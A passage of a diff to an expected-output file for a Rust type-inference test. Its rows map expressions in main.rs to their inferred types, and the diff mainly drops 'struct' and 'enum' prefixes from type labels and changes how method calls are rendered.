x3 | T.T | main.rs:262:5:263:14 | S1 | +| main.rs:321:26:321:48 | call_trait_thing_m1(...) | | main.rs:264:5:265:14 | S2 | +| main.rs:321:46:321:47 | y3 | | main.rs:257:5:260:5 | MyThing | +| main.rs:321:46:321:47 | y3 | T | main.rs:257:5:260:5 | MyThing | +| main.rs:321:46:321:47 | y3 | T.T | main.rs:264:5:265:14 | S2 | | main.rs:329:15:329:18 | SelfParam | | main.rs:326:5:338:5 | Self [trait MyTrait] | | main.rs:331:15:331:18 | SelfParam | | main.rs:326:5:338:5 | Self [trait MyTrait] | -| main.rs:346:15:346:18 | SelfParam | | main.rs:340:5:341:13 | struct S | -| main.rs:346:45:348:9 | { ... } | | main.rs:340:5:341:13 | struct S | -| main.rs:347:13:347:13 | S | | main.rs:340:5:341:13 | struct S | -| main.rs:352:13:352:13 | x | | main.rs:340:5:341:13 | struct S | -| main.rs:352:17:352:17 | S | | main.rs:340:5:341:13 | struct S | -| main.rs:353:26:353:26 | x | | main.rs:340:5:341:13 | struct S | -| main.rs:353:26:353:31 | x.m1(...) | | main.rs:340:5:341:13 | struct S | -| main.rs:355:13:355:13 | x | | main.rs:340:5:341:13 | struct S | -| main.rs:355:17:355:17 | S | | main.rs:340:5:341:13 | struct S | -| main.rs:356:26:356:26 | x | | main.rs:340:5:341:13 | struct S | -| main.rs:373:15:373:18 | SelfParam | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:346:15:346:18 | SelfParam | | main.rs:340:5:341:13 | S | +| main.rs:346:45:348:9 | { ... } | | main.rs:340:5:341:13 | S | +| main.rs:347:13:347:13 | S | | main.rs:340:5:341:13 | S | +| main.rs:352:13:352:13 | x | | main.rs:340:5:341:13 | S | +| main.rs:352:17:352:17 | S | | main.rs:340:5:341:13 | S | +| main.rs:353:26:353:26 | x | | main.rs:340:5:341:13 | S | +| main.rs:353:26:353:31 | x.m1() | | main.rs:340:5:341:13 | S | +| main.rs:355:13:355:13 | x | | main.rs:340:5:341:13 | S | +| main.rs:355:17:355:17 | S | | main.rs:340:5:341:13 | S | +| main.rs:356:26:356:26 | x | | main.rs:340:5:341:13 | S | +| main.rs:373:15:373:18 | SelfParam | | main.rs:361:5:365:5 | MyEnum | | main.rs:373:15:373:18 | SelfParam | A | main.rs:372:10:372:10 | T | | main.rs:373:26:378:9 | { ... } | | main.rs:372:10:372:10 | T | | main.rs:374:13:377:13 | match self { ... } | | main.rs:372:10:372:10 | T | -| main.rs:374:19:374:22 | self | | main.rs:361:5:365:5 | enum MyEnum | +| main.rs:374:19:374:22 | self | | main.rs:361:5:365:5 | MyEnum | | main.rs:374:19:374:22 | self | A | main.rs:372:10:372:10 | T | | main.rs:375:28:375:28 | a | | main.rs:372:10:372:10 | T | | main.rs:375:34:375:34 | a | | main.rs:372:10:372:10 | T | | main.rs:376:30:376:30 | a | | main.rs:372:10:372:10 | T | | main.rs:376:37:376:37 | a | | main.rs:372:10:372:10 | T | -| main.rs:382:13:382:13 | x | | main.rs:361:5:365:5 | enum MyEnum | -| main.rs:382:13:382:13 | x | A | main.rs:367:5:368:14 | struct S1 | -| main.rs:382:17:382:30 | ...::C1(...) | | main.rs:361:5:365:5 | enum MyEnum | -| main.rs:382:17:382:30 | ...::C1(...) | A | main.rs:367:5:368:14 | struct S1 | -| main.rs:382:28:382:29 | S1 | | main.rs:367:5:368:14 | struct S1 | -| main.rs:383:13:383:13 | y | | main.rs:361:5:365:5 | enum MyEnum | -| main.rs:383:13:383:13 | y | A | main.rs:369:5:370:14 | struct S2 | -| main.rs:383:17:383:36 | ...::C2 {...} | | main.rs:361:5:365:5 | enum MyEnum | -| main.rs:383:17:383:36 | ...::C2 {...} | A | main.rs:369:5:370:14 | struct S2 | -| main.rs:383:33:383:34 | S2 | | main.rs:369:5:370:14 | struct S2 | -| main.rs:385:26:385:26 | x | | main.rs:361:5:365:5 | enum MyEnum | -| main.rs:385:26:385:26 | x | A | main.rs:367:5:368:14 | struct S1 | -| main.rs:385:26:385:31 | x.m1(...) | | main.rs:367:5:368:14 | struct S1 | -| main.rs:386:26:386:26 | y | | main.rs:361:5:365:5 | enum MyEnum | -| main.rs:386:26:386:26 | y | A | main.rs:369:5:370:14 | struct S2 | -| main.rs:386:26:386:31 | y.m1(...) | | main.rs:369:5:370:14 | struct S2 | +| main.rs:382:13:382:13 | x | | main.rs:361:5:365:5 | MyEnum | +| main.rs:382:13:382:13 | x | A | main.rs:367:5:368:14 | S1 | +| main.rs:382:17:382:30 | ...::C1(...) | | main.rs:361:5:365:5 | MyEnum | +| main.rs:382:17:382:30 | ...::C1(...) | A | main.rs:367:5:368:14 | S1 | +| main.rs:382:28:382:29 | S1 | | main.rs:367:5:368:14 | S1 | +| main.rs:383:13:383:13 | y | | main.rs:361:5:365:5 | MyEnum | +| main.rs:383:13:383:13 | y | A | main.rs:369:5:370:14 | S2 | +| main.rs:383:17:383:36 | ...::C2 {...} | | main.rs:361:5:365:5 | MyEnum | +| main.rs:383:17:383:36 | ...::C2 {...} | A | main.rs:369:5:370:14 | S2 | +| main.rs:383:33:383:34 | S2 | | main.rs:369:5:370:14 | S2 | +| main.rs:385:26:385:26 | x | | main.rs:361:5:365:5 | MyEnum | +| main.rs:385:26:385:26 | x | A | main.rs:367:5:368:14 | S1 | +| main.rs:385:26:385:31 | x.m1() | | main.rs:367:5:368:14 | S1 | +| main.rs:386:26:386:26 | y | | main.rs:361:5:365:5 | MyEnum | +| main.rs:386:26:386:26 | y | A | main.rs:369:5:370:14 | S2 | +| main.rs:386:26:386:31 | y.m1() | | main.rs:369:5:370:14 | S2 | | main.rs:407:15:407:18 | SelfParam | | main.rs:406:5:408:5 | Self [trait MyTrait1] | | main.rs:411:15:411:18 | SelfParam | | main.rs:410:5:421:5 | Self [trait MyTrait2] | | main.rs:414:9:420:9 | { ... } | | main.rs:410:20:410:22 | Tr2 | | main.rs:415:13:419:13 | if ... {...} else {...} | | main.rs:410:20:410:22 | Tr2 | | main.rs:415:26:417:13 | { ... } | | main.rs:410:20:410:22 | Tr2 | | main.rs:416:17:416:20 | self | | main.rs:410:5:421:5 | Self [trait MyTrait2] | -| main.rs:416:17:416:25 | self.m1(...) | | main.rs:410:20:410:22 | Tr2 | +| main.rs:416:17:416:25 | self.m1() | | main.rs:410:20:410:22 | Tr2 | | main.rs:417:20:419:13 | { ... } | | main.rs:410:20:410:22 | Tr2 | | main.rs:418:17:418:30 | ...::m1(...) | | main.rs:410:20:410:22 | Tr2 | | main.rs:418:26:418:29 | self | | main.rs:410:5:421:5 | Self [trait MyTrait2] | @@ -380,147 +380,147 @@ inferType | main.rs:428:13:432:13 | if ... {...} else {...} | | main.rs:423:20:423:22 | Tr3 | | main.rs:428:26:430:13 | { ... } | | main.rs:423:20:423:22 | Tr3 | | main.rs:429:17:429:20 | self | | main.rs:423:5:434:5 | Self [trait MyTrait3] | -| main.rs:429:17:429:25 | self.m2(...) | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:429:17:429:25 | self.m2(...) | A | main.rs:423:20:423:22 | Tr3 | +| main.rs:429:17:429:25 | self.m2() | | main.rs:391:5:394:5 | MyThing | +| main.rs:429:17:429:25 | self.m2() | A | main.rs:423:20:423:22 | Tr3 | | main.rs:429:17:429:27 | ... .a | | main.rs:423:20:423:22 | Tr3 | | main.rs:430:20:432:13 | { ... } | | main.rs:423:20:423:22 | Tr3 | -| main.rs:431:17:431:30 | ...::m2(...) | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:431:17:431:30 | ...::m2(...) | | main.rs:391:5:394:5 | MyThing | | main.rs:431:17:431:30 | ...::m2(...) | A | main.rs:423:20:423:22 | Tr3 | | main.rs:431:17:431:32 | ... .a | | main.rs:423:20:423:22 | Tr3 | | main.rs:431:26:431:29 | self | | main.rs:423:5:434:5 | Self [trait MyTrait3] | -| main.rs:437:15:437:18 | SelfParam | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:437:15:437:18 | SelfParam | | main.rs:391:5:394:5 | MyThing | | main.rs:437:15:437:18 | SelfParam | A | main.rs:436:10:436:10 | T | | main.rs:437:26:439:9 | { ... } | | main.rs:436:10:436:10 | T | -| main.rs:438:13:438:16 | self | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:438:13:438:16 | self | | main.rs:391:5:394:5 | MyThing | | main.rs:438:13:438:16 | self | A | main.rs:436:10:436:10 | T | | main.rs:438:13:438:18 | self.a | | main.rs:436:10:436:10 | T | -| main.rs:445:15:445:18 | SelfParam | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:445:15:445:18 | SelfParam | | main.rs:396:5:399:5 | MyThing2 | | main.rs:445:15:445:18 | SelfParam | A | main.rs:444:10:444:10 | T | -| main.rs:445:35:447:9 | { ... } | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:445:35:447:9 | { ... } | | main.rs:391:5:394:5 | MyThing | | main.rs:445:35:447:9 | { ... } | A | main.rs:444:10:444:10 | T | -| main.rs:446:13:446:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | +| main.rs:446:13:446:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | | main.rs:446:13:446:33 | MyThing {...} | A | main.rs:444:10:444:10 | T | -| main.rs:446:26:446:29 | self | | main.rs:396:5:399:5 | struct MyThing2 | +| main.rs:446:26:446:29 | self | | main.rs:396:5:399:5 | MyThing2 | | main.rs:446:26:446:29 | self | A | main.rs:444:10:444:10 | T | | main.rs:446:26:446:31 | self.a | | main.rs:444:10:444:10 | T | -| main.rs:455:13:455:13 | x | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:455:13:455:13 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:455:17:455:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:455:17:455:33 | MyThing {...} | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:455:30:455:31 | S1 | | main.rs:401:5:402:14 | struct S1 | -| main.rs:456:13:456:13 | y | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:456:13:456:13 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:456:17:456:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:456:17:456:33 | MyThing {...} | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:456:30:456:31 | S2 | | main.rs:403:5:404:14 | struct S2 | -| main.rs:458:26:458:26 | x | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:458:26:458:26 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:458:26:458:31 | x.m1(...) | | main.rs:401:5:402:14 | struct S1 | -| main.rs:459:26:459:26 | y | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:459:26:459:26 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:459:26:459:31 | y.m1(...) | | main.rs:403:5:404:14 | struct S2 | -| main.rs:461:13:461:13 | x | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:461:13:461:13 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:461:17:461:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:461:17:461:33 | MyThing {...} | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:461:30:461:31 | S1 | | main.rs:401:5:402:14 | struct S1 | -| main.rs:462:13:462:13 | y | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:462:13:462:13 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:462:17:462:33 | MyThing {...} | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:462:17:462:33 | MyThing {...} | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:462:30:462:31 | S2 | | main.rs:403:5:404:14 | struct S2 | -| main.rs:464:26:464:26 | x | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:464:26:464:26 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:464:26:464:31 | x.m2(...) | | main.rs:401:5:402:14 | struct S1 | -| main.rs:465:26:465:26 | y | | main.rs:391:5:394:5 | struct MyThing | -| main.rs:465:26:465:26 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:465:26:465:31 | y.m2(...) | | main.rs:403:5:404:14 | struct S2 | -| main.rs:467:13:467:13 | x | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:467:13:467:13 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:467:17:467:34 | MyThing2 {...} | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:467:17:467:34 | MyThing2 {...} | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:467:31:467:32 | S1 | | main.rs:401:5:402:14 | struct S1 | -| main.rs:468:13:468:13 | y | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:468:13:468:13 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:468:17:468:34 | MyThing2 {...} | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:468:17:468:34 | MyThing2 {...} | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:468:31:468:32 | S2 | | main.rs:403:5:404:14 | struct S2 | -| main.rs:470:26:470:26 | x | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:470:26:470:26 | x | A | main.rs:401:5:402:14 | struct S1 | -| main.rs:470:26:470:31 | x.m3(...) | | main.rs:401:5:402:14 | struct S1 | -| main.rs:471:26:471:26 | y | | main.rs:396:5:399:5 | struct MyThing2 | -| main.rs:471:26:471:26 | y | A | main.rs:403:5:404:14 | struct S2 | -| main.rs:471:26:471:31 | y.m3(...) | | main.rs:403:5:404:14 | struct S2 | +| main.rs:455:13:455:13 | x | | main.rs:391:5:394:5 | MyThing | +| main.rs:455:13:455:13 | x | A | main.rs:401:5:402:14 | S1 | +| main.rs:455:17:455:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | +| main.rs:455:17:455:33 | MyThing {...} | A | main.rs:401:5:402:14 | S1 | +| main.rs:455:30:455:31 | S1 | | main.rs:401:5:402:14 | S1 | +| main.rs:456:13:456:13 | y | | main.rs:391:5:394:5 | MyThing | +| main.rs:456:13:456:13 | y | A | main.rs:403:5:404:14 | S2 | +| main.rs:456:17:456:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | +| main.rs:456:17:456:33 | MyThing {...} | A | main.rs:403:5:404:14 | S2 | +| main.rs:456:30:456:31 | S2 | | main.rs:403:5:404:14 | S2 | +| main.rs:458:26:458:26 | x | | main.rs:391:5:394:5 | MyThing | +| main.rs:458:26:458:26 | x | A | main.rs:401:5:402:14 | S1 | +| main.rs:458:26:458:31 | x.m1() | | main.rs:401:5:402:14 | S1 | +| main.rs:459:26:459:26 | y | | main.rs:391:5:394:5 | MyThing | +| main.rs:459:26:459:26 | y | A | main.rs:403:5:404:14 | S2 | +| main.rs:459:26:459:31 | y.m1() | | main.rs:403:5:404:14 | S2 | +| main.rs:461:13:461:13 | x | | main.rs:391:5:394:5 | MyThing | +| main.rs:461:13:461:13 | x | A | main.rs:401:5:402:14 | S1 | +| main.rs:461:17:461:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | +| main.rs:461:17:461:33 | MyThing {...} | A | main.rs:401:5:402:14 | S1 | +| main.rs:461:30:461:31 | S1 | | main.rs:401:5:402:14 | S1 | +| main.rs:462:13:462:13 | y | | main.rs:391:5:394:5 | MyThing | +| main.rs:462:13:462:13 | y | A | main.rs:403:5:404:14 | S2 | +| main.rs:462:17:462:33 | MyThing {...} | | main.rs:391:5:394:5 | MyThing | +| main.rs:462:17:462:33 | MyThing {...} | A | main.rs:403:5:404:14 | S2 | +| main.rs:462:30:462:31 | S2 | | main.rs:403:5:404:14 | S2 | +| main.rs:464:26:464:26 | x | | main.rs:391:5:394:5 | MyThing | +| main.rs:464:26:464:26 | x | A | main.rs:401:5:402:14 | S1 | +| main.rs:464:26:464:31 | x.m2() | | main.rs:401:5:402:14 | S1 | +| main.rs:465:26:465:26 | y | | main.rs:391:5:394:5 | MyThing | +| main.rs:465:26:465:26 | y | A | main.rs:403:5:404:14 | S2 | +| main.rs:465:26:465:31 | y.m2() | | main.rs:403:5:404:14 | S2 | +| main.rs:467:13:467:13 | x | | main.rs:396:5:399:5 | MyThing2 | +| main.rs:467:13:467:13 | x | A | main.rs:401:5:402:14 | S1 | +| main.rs:467:17:467:34 | MyThing2 {...} | | main.rs:396:5:399:5 | MyThing2 | +| main.rs:467:17:467:34 | MyThing2 {...} | A | main.rs:401:5:402:14 | S1 | +| main.rs:467:31:467:32 | S1 | | main.rs:401:5:402:14 | S1 | +| main.rs:468:13:468:13 | y | | main.rs:396:5:399:5 | MyThing2 | +| main.rs:468:13:468:13 | y | A | main.rs:403:5:404:14 | S2 | +| main.rs:468:17:468:34 | MyThing2 {...} | | main.rs:396:5:399:5 | MyThing2 | +| main.rs:468:17:468:34 | MyThing2 {...} | A | main.rs:403:5:404:14 | S2 | +| main.rs:468:31:468:32 | S2 | | main.rs:403:5:404:14 | S2 | +| main.rs:470:26:470:26 | x | | main.rs:396:5:399:5 | MyThing2 | +| main.rs:470:26:470:26 | x | A | main.rs:401:5:402:14 | S1 | +| main.rs:470:26:470:31 | x.m3() | | main.rs:401:5:402:14 | S1 | +| main.rs:471:26:471:26 | y | | main.rs:396:5:399:5 | MyThing2 | +| main.rs:471:26:471:26 | y | A | main.rs:403:5:404:14 | S2 | +| main.rs:471:26:471:31 | y.m3() | | main.rs:403:5:404:14 | S2 | | main.rs:489:22:489:22 | x | | file://:0:0:0:0 | & | | main.rs:489:22:489:22 | x | &T | main.rs:489:11:489:19 | T | | main.rs:489:35:491:5 | { ... } | | file://:0:0:0:0 | & | | main.rs:489:35:491:5 | { ... } | &T | main.rs:489:11:489:19 | T | | main.rs:490:9:490:9 | x | | file://:0:0:0:0 | & | | main.rs:490:9:490:9 | x | &T | main.rs:489:11:489:19 | T | -| main.rs:494:17:494:20 | SelfParam | | main.rs:479:5:480:14 | struct S1 | -| main.rs:494:29:496:9 | { ... } | | main.rs:482:5:483:14 | struct S2 | -| main.rs:495:13:495:14 | S2 | | main.rs:482:5:483:14 | struct S2 | +| main.rs:494:17:494:20 | SelfParam | | main.rs:479:5:480:14 | S1 | +| main.rs:494:29:496:9 | { ... } | | main.rs:482:5:483:14 | S2 | +| main.rs:495:13:495:14 | S2 | | main.rs:482:5:483:14 | S2 | | main.rs:499:21:499:21 | x | | main.rs:499:13:499:14 | T1 | | main.rs:502:5:504:5 | { ... } | | main.rs:499:17:499:18 | T2 | | main.rs:503:9:503:9 | x | | main.rs:499:13:499:14 | T1 | -| main.rs:503:9:503:16 | x.into(...) | | main.rs:499:17:499:18 | T2 | -| main.rs:507:13:507:13 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:507:17:507:18 | S1 | | main.rs:479:5:480:14 | struct S1 | +| main.rs:503:9:503:16 | x.into() | | main.rs:499:17:499:18 | T2 | +| main.rs:507:13:507:13 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:507:17:507:18 | S1 | | main.rs:479:5:480:14 | S1 | | main.rs:508:26:508:31 | id(...) | | file://:0:0:0:0 | & | -| main.rs:508:26:508:31 | id(...) | &T | main.rs:479:5:480:14 | struct S1 | +| main.rs:508:26:508:31 | id(...) | &T | main.rs:479:5:480:14 | S1 | | main.rs:508:29:508:30 | &x | | file://:0:0:0:0 | & | -| main.rs:508:29:508:30 | &x | &T | main.rs:479:5:480:14 | struct S1 | -| main.rs:508:30:508:30 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:510:13:510:13 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:510:17:510:18 | S1 | | main.rs:479:5:480:14 | struct S1 | +| main.rs:508:29:508:30 | &x | &T | main.rs:479:5:480:14 | S1 | +| main.rs:508:30:508:30 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:510:13:510:13 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:510:17:510:18 | S1 | | main.rs:479:5:480:14 | S1 | | main.rs:511:26:511:37 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:511:26:511:37 | id::<...>(...) | &T | main.rs:479:5:480:14 | struct S1 | +| main.rs:511:26:511:37 | id::<...>(...) | &T | main.rs:479:5:480:14 | S1 | | main.rs:511:35:511:36 | &x | | file://:0:0:0:0 | & | -| main.rs:511:35:511:36 | &x | &T | main.rs:479:5:480:14 | struct S1 | -| main.rs:511:36:511:36 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:513:13:513:13 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:513:17:513:18 | S1 | | main.rs:479:5:480:14 | struct S1 | +| main.rs:511:35:511:36 | &x | &T | main.rs:479:5:480:14 | S1 | +| main.rs:511:36:511:36 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:513:13:513:13 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:513:17:513:18 | S1 | | main.rs:479:5:480:14 | S1 | | main.rs:514:26:514:44 | id::<...>(...) | | file://:0:0:0:0 | & | -| main.rs:514:26:514:44 | id::<...>(...) | &T | main.rs:479:5:480:14 | struct S1 | +| main.rs:514:26:514:44 | id::<...>(...) | &T | main.rs:479:5:480:14 | S1 | | main.rs:514:42:514:43 | &x | | file://:0:0:0:0 | & | -| main.rs:514:42:514:43 | &x | &T | main.rs:479:5:480:14 | struct S1 | -| main.rs:514:43:514:43 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:516:13:516:13 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:516:17:516:18 | S1 | | main.rs:479:5:480:14 | struct S1 | -| main.rs:517:9:517:25 | into::<...>(...) | | main.rs:482:5:483:14 | struct S2 | -| main.rs:517:24:517:24 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:519:13:519:13 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:519:17:519:18 | S1 | | main.rs:479:5:480:14 | struct S1 | -| main.rs:520:13:520:13 | y | | main.rs:482:5:483:14 | struct S2 | -| main.rs:520:21:520:27 | into(...) | | main.rs:482:5:483:14 | struct S2 | -| main.rs:520:26:520:26 | x | | main.rs:479:5:480:14 | struct S1 | -| main.rs:550:13:550:14 | p1 | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:550:13:550:14 | p1 | Fst | main.rs:533:5:534:14 | struct S1 | -| main.rs:550:13:550:14 | p1 | Snd | main.rs:536:5:537:14 | struct S2 | -| main.rs:550:26:550:53 | ...::PairBoth(...) | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:550:26:550:53 | ...::PairBoth(...) | Fst | main.rs:533:5:534:14 | struct S1 | -| main.rs:550:26:550:53 | ...::PairBoth(...) | Snd | main.rs:536:5:537:14 | struct S2 | -| main.rs:550:47:550:48 | S1 | | main.rs:533:5:534:14 | struct S1 | -| main.rs:550:51:550:52 | S2 | | main.rs:536:5:537:14 | struct S2 | -| main.rs:551:26:551:27 | p1 | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:551:26:551:27 | p1 | Fst | main.rs:533:5:534:14 | struct S1 | -| main.rs:551:26:551:27 | p1 | Snd | main.rs:536:5:537:14 | struct S2 | -| main.rs:554:13:554:14 | p2 | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:554:26:554:47 | ...::PairNone(...) | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:555:26:555:27 | p2 | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:558:13:558:14 | p3 | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:558:13:558:14 | p3 | Snd | main.rs:539:5:540:14 | struct S3 | -| main.rs:558:34:558:56 | ...::PairSnd(...) | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:558:34:558:56 | ...::PairSnd(...) | Snd | main.rs:539:5:540:14 | struct S3 | -| main.rs:558:54:558:55 | S3 | | main.rs:539:5:540:14 | struct S3 | -| main.rs:559:26:559:27 | p3 | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:559:26:559:27 | p3 | Snd | main.rs:539:5:540:14 | struct S3 | -| main.rs:562:13:562:14 | p3 | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:562:13:562:14 | p3 | Fst | main.rs:539:5:540:14 | struct S3 | -| main.rs:562:35:562:56 | ...::PairNone(...) | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:562:35:562:56 | ...::PairNone(...) | Fst | main.rs:539:5:540:14 | struct S3 | -| main.rs:563:26:563:27 | p3 | | main.rs:525:5:531:5 | enum PairOption | -| main.rs:563:26:563:27 | p3 | Fst | main.rs:539:5:540:14 | struct S3 | +| main.rs:514:42:514:43 | &x | &T | main.rs:479:5:480:14 | S1 | +| main.rs:514:43:514:43 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:516:13:516:13 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:516:17:516:18 | S1 | | main.rs:479:5:480:14 | S1 | +| main.rs:517:9:517:25 | into::<...>(...) | | main.rs:482:5:483:14 | S2 | +| main.rs:517:24:517:24 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:519:13:519:13 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:519:17:519:18 | S1 | | main.rs:479:5:480:14 | S1 | +| main.rs:520:13:520:13 | y | | main.rs:482:5:483:14 | S2 | +| main.rs:520:21:520:27 | into(...) | | main.rs:482:5:483:14 | S2 | +| main.rs:520:26:520:26 | x | | main.rs:479:5:480:14 | S1 | +| main.rs:550:13:550:14 | p1 | | main.rs:525:5:531:5 | PairOption | +| main.rs:550:13:550:14 | p1 | Fst | main.rs:533:5:534:14 | S1 | +| main.rs:550:13:550:14 | p1 | Snd | main.rs:536:5:537:14 | S2 | +| main.rs:550:26:550:53 | ...::PairBoth(...) | | main.rs:525:5:531:5 | PairOption | +| main.rs:550:26:550:53 | ...::PairBoth(...) | Fst | main.rs:533:5:534:14 | S1 | +| main.rs:550:26:550:53 | ...::PairBoth(...) | Snd | main.rs:536:5:537:14 | S2 | +| main.rs:550:47:550:48 | S1 | | main.rs:533:5:534:14 | S1 | +| main.rs:550:51:550:52 | S2 | | main.rs:536:5:537:14 | S2 | +| main.rs:551:26:551:27 | p1 | | main.rs:525:5:531:5 | PairOption | +| main.rs:551:26:551:27 | p1 | Fst | main.rs:533:5:534:14 | S1 | +| main.rs:551:26:551:27 | p1 | Snd | main.rs:536:5:537:14 | S2 | +| main.rs:554:13:554:14 | p2 | | main.rs:525:5:531:5 | PairOption | +| main.rs:554:26:554:47 | ...::PairNone(...) | | main.rs:525:5:531:5 | PairOption | +| main.rs:555:26:555:27 | p2 | | main.rs:525:5:531:5 | PairOption | +| main.rs:558:13:558:14 | p3 | | main.rs:525:5:531:5 | PairOption | +| main.rs:558:13:558:14 | p3 | Snd | main.rs:539:5:540:14 | S3 | +| main.rs:558:34:558:56 | ...::PairSnd(...) | | main.rs:525:5:531:5 | PairOption | +| main.rs:558:34:558:56 | ...::PairSnd(...) | Snd | main.rs:539:5:540:14 | S3 | +| main.rs:558:54:558:55 | S3 | | main.rs:539:5:540:14 | S3 | +| main.rs:559:26:559:27 | p3 | | main.rs:525:5:531:5 | PairOption | +| main.rs:559:26:559:27 | p3 | Snd | main.rs:539:5:540:14 | S3 | +| main.rs:562:13:562:14 | p3 | | main.rs:525:5:531:5 | PairOption | +| main.rs:562:13:562:14 | p3 | Fst | main.rs:539:5:540:14 | S3 | +| main.rs:562:35:562:56 | ...::PairNone(...) | | main.rs:525:5:531:5 | PairOption | +| main.rs:562:35:562:56 | ...::PairNone(...) | Fst | main.rs:539:5:540:14 | S3 | +| main.rs:563:26:563:27 | p3 | | main.rs:525:5:531:5 | PairOption | +| main.rs:563:26:563:27 | p3 | Fst | main.rs:539:5:540:14 | S3 | | main.rs:575:16:575:24 | SelfParam | | file://:0:0:0:0 | & | | main.rs:575:16:575:24 | SelfParam | &T | main.rs:574:5:580:5 | Self [trait MyTrait] | | main.rs:575:27:575:31 | value | | main.rs:574:19:574:19 | S | @@ -531,240 +531,240 @@ inferType | main.rs:578:13:578:16 | self | &T | main.rs:574:5:580:5 | Self [trait MyTrait] | | main.rs:578:22:578:26 | value | | main.rs:574:19:574:19 | S | | main.rs:583:16:583:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:583:16:583:24 | SelfParam | &T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:583:16:583:24 | SelfParam | &T | main.rs:568:5:572:5 | MyOption | | main.rs:583:16:583:24 | SelfParam | &T.T | main.rs:582:10:582:10 | T | | main.rs:583:27:583:31 | value | | main.rs:582:10:582:10 | T | -| main.rs:587:26:589:9 | { ... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:587:26:589:9 | { ... } | | main.rs:568:5:572:5 | MyOption | | main.rs:587:26:589:9 | { ... } | T | main.rs:586:10:586:10 | T | -| main.rs:588:13:588:30 | ...::MyNone(...) | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:588:13:588:30 | ...::MyNone(...) | | main.rs:568:5:572:5 | MyOption | | main.rs:588:13:588:30 | ...::MyNone(...) | T | main.rs:586:10:586:10 | T | -| main.rs:593:20:593:23 | SelfParam | | main.rs:568:5:572:5 | enum MyOption | -| main.rs:593:20:593:23 | SelfParam | T | main.rs:568:5:572:5 | enum MyOption | +| main.rs:593:20:593:23 | SelfParam | | main.rs:568:5:572:5 | MyOption | +| main.rs:593:20:593:23 | SelfParam | T | main.rs:568:5:572:5 | MyOption | | main.rs:593:20:593:23 | SelfParam | T.T | main.rs:592:10:592:10 | T | -| main.rs:593:41:598:9 | { ... } | | main.rs:568:5:572:5 | enum MyOption | +| main.rs:593:41:598:9 | { ... } | | main.rs:568:5:572:5 | MyOption | | main.rs:593:41:598:9 | { ... } | T | main.rs:592:10:592:10 | T | -| main.rs:594:13:597:13 | match self { 